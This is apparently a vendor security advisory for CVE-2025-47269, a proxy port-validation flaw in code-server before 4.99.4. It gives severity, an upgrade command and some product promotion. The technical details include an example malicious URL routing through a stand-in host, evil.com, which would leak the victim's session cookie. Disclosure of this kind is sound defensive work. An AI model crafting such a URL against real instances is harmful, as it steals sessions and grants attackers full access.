Quick answers
- Is CVE-2025-47269 exploited in the wild?
- No. Junglewise Threat Intelligence has no report of CVE-2025-47269 being exploited in the wild.
- How severe is CVE-2025-47269?
- Low severity, with a CVSS score of 3.1, published 9 May 2025.
- Which products and versions are affected?
- code-server (npm) SEMVER:introduced=0,fixed=4.99.4.
- Is there a fix for CVE-2025-47269?
- Yes. code-server (npm): upgrade to 4.99.4 or later. Junglewise finds every place you run it, drafts the upgrade and applies it once you approve.
- How is CVE-2025-47269 attacked?
- It is attacked over the network.
- Am I affected by CVE-2025-47269?
- Check whether you run code-server (npm) at an affected version. Junglewise does that check for you around the clock: connect your code, cloud and domains, and it matches new vulnerabilities like this one against what you actually run and tells you when one reaches you.
How to fix
- code-server (npm): upgrade to 4.99.4 or later
npm install code-server@4.99.4
Technical details
The vulnerability stems from improper validation of the proxy request port, allowing attackers to specify arbitrary domains (not just localhost ports) as proxy targets. The proxy implementation fails to validate that the proxied destination is a legitimate local service; instead, a malicious URL like https://<code-server>/proxy/test@evil.com/path gets proxied to test@evil.com/path. When the browser makes this request, it automatically includes the code-server session cookie in the HTTP headers, exposing it to the attacker. The attack requires user interaction (clicking a malicious link) but no prior authentication or special privileges. Exploitation grants full access to code-server with the privileges of the running user. The vulnerability is patched in code-server v4.99.4 and later.
Affected products
- Coder code-server < 4.99.4
Identifiers
- CVE-2025-47269
- GHSA-p483-wpfp-42cj
Timeline
- 2025-05-09: disclosed: GHSA-p483-wpfp-42cj and CVE-2025-47269 published
- 2025-05-09: patched: Fixed in v4.99.4 and later